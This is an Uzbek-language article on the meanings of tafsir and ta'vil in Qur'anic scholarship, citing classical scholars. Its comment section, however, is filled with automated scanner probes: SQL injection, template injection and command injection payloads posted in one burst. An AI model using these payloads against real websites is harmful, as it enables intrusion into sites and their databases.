Яратилиш санаси 27.12.2023

Qur`onning sharhi va tafsiri haqidagi qarashlar

Tafsir so`zining lug`aviy ma`nosi “izoh”, “sharh”dir. Arablarda ilmiy, falsafiy asarlarga yozilgan sharhlar ham tafsirlar deb atalgan. Qur`onda ham “tafsir”–“sharh” mazmunida qo`llanilgan: 

وَلَا يَأْتُونَكَ بِمَثَلٍ إِلَّا جِئْنَاكَ بِالْحَقِّ وَأَحْسَنَ تَفْسِيراً 

“Ular sizga biron misol keltirsalar, albatta, Biz sizga haq va eng go`zal sharhni keltirib qo`ydik” . 

Tafsirga berilgan ta`riflarni umumlashtirib shunday deyish mumkin: “tafsir arab tilini mukammal bilgan holda Qur`on, hadis, sahobiy va tobiiylar rivoyatidan istifoda etib, inson qudrati doirasida Qur`on oyatlarini sharhlash, izohlashdir”. 

“Al-Qomus al-muhit” asarida “fasr tafsir kabi sharhlash va berkingan narsani kashf etish ma`nosini bildiradi”, deyiladi. “Lisonul-arab” asarida esa: “Fasrning ma`nosi sharhlash, izohlash bo`lib, tafsir ham shu kabi ma`noni anglatadi, yana “fasr” ning ma`nosi berkingan narsani kashf etish. “Tafsir” esa turli so`zlardan murodni kashf etishdir, deyilgan. Abu Hayyon “Bahrul-muhit” asarida: “tafsir so`zi yalang`ochlab bo`shatish, erkin qo`yish ma`nolarida ham ishlatiladi. Bunda u kashf etish ma`nosiga qaytadi”, deb sharh bergan. 

Ushbu so`zning istilohiy ma`nosi haqida ba`zi ulamolar: “Tafsir ilmi boshqa ilmlar kabi cheklangan qoidalar asosidagi ilm emas. Chunki u qoidalar, yoki boshqa ilmlarga o`xshab qoidalarning amaliyotida shakllangan o`ziga xosliklar emas. Tafsirni Alloh kalomining sharhi, yoki Qur`onning so`zlari va tushunchalariga sharh deyish kifoya”, deganlar. 

Yana ba`zi ulamolar “Tafsir juz`iy masalalar, qoidalar, yoki qoidalar amaliyotida shakllangan xususiyatlarga ega ilmdir. Unga ta`rif ham bor. Ushbu ta`rifda Qur`onni fahmlash uchun foydalaniladigan lug`at, sarf, nahv, qiroat va boshqa bir nechta ilmlar zikr etiladi”, deydilar. 

Tafsir cheklangan qoidalar asosidagi ilm degan ulamolar ta`riflariga nazar solinsa, ularni ko`plab ta`rif aytganlarini ko`rishimiz mumkin. Lekin ushbu ta`riflarning hammasi tuzilish jihatidan har xil bo`lsa ham ma`no jihatidan bir maqsadga yo`naladi. 

Suyutiy ta`riflardan ayrimlarini zikr etadi: “Bu ilm oyatlarning nozil bo`lish sabablarini, ularning kichik qissalarini, makkiy va madaniyligi tartiblarini, aniq va o`xshashlarini, nosix va mansuxlarini, xos va umumiylarini, mutlaq va chegaralanganlarini, mujmal va mufassallarini, halol va haromlarini, va`da va va`idlarini, chaqirganlarini va qaytarganlarini, ibrat va misollarini hamda shunga o`xshashlarni o`rganadigan ilmdir”. 

Zarkashiy: “Tafsir – bu Allohning payg`ambari Muhammad (a.s.)ga nozil qilgan kitobining ma`nolari, hukmlari tushuniladigan ilm. Bunda lug`at ilmidan, nahv va sarfdan, bayon ilmidan, fiqh ilmi asoslaridan, qiroatlardan foydalaniladi hamda bu ilm oyatlarning nozil bo`lish sabablari va nosix, mansuxlarni bilishga muhtoj”, deb ta`rif bergan. 

Yana boshqa ta`rifga ko`ra, “Tafsir ilmi islom ilmlaridan biri bo`lib, mufassir qudraticha hukmlarni istinbot qilishda Qur`on oyatlarini sharhlashga ixtisoslashadi”. 

“Ta`vil” so`zi “avl” so`zidan olingan bo`lib, qaytish ma`nosini hamda tafsir, sharhlash ma`nolarini bildiradi: 

فأما الذين في قلوبهم زيغ فيتبعون ما تشابه منه ابتغاء الفتنة وابتغاء تأويله وما يعلم تأويله إلا الله

“Ammo, dillarida og`ish bor kimsalar odamlarni fitnaga solish va o`z talqiniga muvofiq ma`nolar berish uchun uning (Qur`onning) mutashobih oyatlariga ergashadilar. Holbuki unday oyatlar ta`vilini (tafsirini) faqat Allohning o`zigina bilur”. 

Shu kabi ta`vil so`zining izoh, sharh ma`nolarida kelgan ko`plab oyatlar mavjud. 

Ulamolar tafsir va ta`vilni farqlashda turlicha fikrlar bildirdilar. Ba`zi ulamolar ularning ikkisi bir xil ma`noni bildiradi, desalar, boshqalari ularning orasini farqlaydilar. 

Imom Moturidiy: “Tafsir bu so`zning ma`nosi qat`iy mana shu deyish va Alloh o`sha so`zdan mana shuni nazarda tutgan deb, guvohlik berishdir. Agar bunga dalili bo`lsa u holda so`zi to`g`ri, agar unday bo`lmasa, unda faqat o`zining ra`yi bilan tafsir qilgan bo`ladi. Bu man etilgan. Ta`vil esa, biror so`zning taxminiy ma`nosini qat`iy deb aytmay va Allohning nazarda tutgani mana shu, deb guvohlik bermay o`sha ma`noni boshqa ma`nolaridan ustun qilishdir”. 

Abu Ubayda: “Tafsir va ta`vil bir xil ma`noni bildiradi”, degan. Bu fikr ilgari o`tgan tafsir olimlarining oralarida keng tarqalgan edi. 

Rog`ib Isfahoniy “Tafsir ta`vildan ko`ra chuqurroq ma`noni bildiradi. Tafsir so`zlar uchun ko`p ishlatilsa, ta`vil ma`nolar uchun ko`proq ishlatiladi, tush ta`vili (ta`biri) kabi. Ta`vil ilohiy kitoblar uchun ishlatiladi. Tafsir esa ilohiy kitoblar uchun ham, undan boshqalari uchun ham ishlatiladi. Tafsir ko`pincha alohida so`zlarga ishlatiladi. Ta`vil esa, jumlalarga ishlatiladi” . 

Sa`labiy tafsir va ta`vil haqida shunday deydi: “Tafsir so`zning haqiqiy yoki majoziy vaziyatini bayon etadi. Xuddi “sirot” so`zi “toriq(yo`l)” deb tafsir qilinganidek. Ta`vil esa so`zning botinini sharhlaydi. Ta`vil qaytish, ya`ni narsaning asliga qaytishi ma`nosini anglatadi. Ta`vil istalgan narsani haqiqatidan xabar berish. Tafsir istalgan narsaning dalolatini xabar qilishdir”. 

Bag`aviy: “Ta`vil – bu oyatning o`zidan oldingi va keyingilariga muvofiq holda ehtimolli (bo`lishi mumkin bo`lgan) ma`noga ishlatish bo`lib, istinbotda Qur`on va hadisga zid bo`lib qolmasligi kerak. Tafsir esa oyatning nozil bo`lish sabablari va qissalari haqida so`z yuritishdir”, degan. 

Yana bir qancha ulamolar shunday ta`rif beradilar: “Tafsir rivoyat asosida bo`lib, ta`vil esa bilim asosidadir”. 

Zahabiy u ikkisi haqida shunday deydi: “Tafsirning ma`nosi kashf, bayon etish. Ya`ni Allohning murodini kashf etish. Bunda Rasulidan kelgan xabarlarga qarab yoki ba`zi sahobiylar xabarlariga qarab sharhlanadi. Chunki sahobiylar vahiy tushishiga shohid bo`lganlar, o`sha vaqtdagi o`rab turgan voqea-hodisalarni idrok etganlar va Rasululloh (s.a.v.) bilan uchrashib turganlar hamda ular Qur`onning ma`nolarini tushunishga qiynalganlarida unga murojaat qilganlar. Ta`vil bu so`zlarning birorta ehtimolini boshqasidan ustun qilishdir. Ustun qilish esa ijtihodga tayanadi. Bu esa so`zlarning arab tilidagi ma`nolarini bilishni, joylariga qarab ishlatishni, arab tili uslublarini bilgan holda ma`nolarini chiqarishni talab etadi”.

Qayumov Sofvatulloh

“Hidoya” o'rta maxsus islom
blim yurti mudarrisi

Изоҳ қолдириш

Изоҳлар

19.01.2024 23:34
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('o',2)='o
19.01.2024 23:34
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',0)='m
19.01.2024 23:34
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('l',2)
19.01.2024 23:34
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('k',0)
19.01.2024 23:34
123456'and(select+1)>0waitfor/**/delay'0:0:2
19.01.2024 23:34
123456'and(select+1)>0waitfor/**/delay'0:0:0
19.01.2024 23:34
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
19.01.2024 23:34
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
19.01.2024 23:34
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
19.01.2024 23:34
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
19.01.2024 23:34
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
19.01.2024 23:34
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
19.01.2024 23:34
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
19.01.2024 23:34
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
19.01.2024 23:34
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
19.01.2024 23:34
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
19.01.2024 23:34
(select*from(select+sleep(2)union/**/select+1)a)
19.01.2024 23:34
(select*from(select+sleep(0)union/**/select+1)a)
19.01.2024 23:34
123456"and"y"="d
19.01.2024 23:34
123456"and"d"="d
19.01.2024 23:34
123456'and'k'='l
19.01.2024 23:34
123456'and'c'='c
19.01.2024 23:34
123456'"\(
19.01.2024 23:34
123456/**/and+0=7
19.01.2024 23:34
123456鎈'"\(
19.01.2024 23:34
123456/**/and+2=2
19.01.2024 23:34
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1372422218')))>'0
19.01.2024 23:34
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1319781744')))
19.01.2024 23:33
123456/**/and/**/cast(md5('1565278802')as/**/int)>0
19.01.2024 23:33
123456'and(select'1'from/**/cast(md5(1501937598)as/**/int))>'0
19.01.2024 23:33
extractvalue(1,concat(char(126),md5(1052243515)))
19.01.2024 23:33
123456"and/**/extractvalue(1,concat(char(126),md5(1806953945)))and"
19.01.2024 23:33
123456'and/**/extractvalue(1,concat(char(126),md5(1472508145)))and'
19.01.2024 23:33
123456
19.01.2024 23:33
123456
19.01.2024 23:33
<%- 921414142+976248093 %>
19.01.2024 23:33
123456
19.01.2024 23:33
#set($c=809298384+866415819)${c}$c
19.01.2024 23:33
${(928630442+886910913)?c}
19.01.2024 23:33
123456
19.01.2024 23:33
expr 887428347 + 977421322
19.01.2024 23:33
${882697906+825045717}
19.01.2024 23:33
'-var_dump(md5(391191415))-'
19.01.2024 23:33
${912938126+841598855}
19.01.2024 23:33
123456
19.01.2024 23:33
123456
19.01.2024 23:33
123456&set /A 971099932+948406126
19.01.2024 23:33
${@var_dump(md5(336801290))};
19.01.2024 23:33
/*1*/{{860834175+886510818}}
19.01.2024 23:33
123456
19.01.2024 23:33
123456
19.01.2024 23:33
123456$(expr 981134641 + 964759931)
19.01.2024 23:33
123456
19.01.2024 23:33
123456
19.01.2024 23:33
123456|expr 856049246 + 837756133
19.01.2024 23:33
123456 expr 911821475 + 805884069
19.01.2024 23:28
123456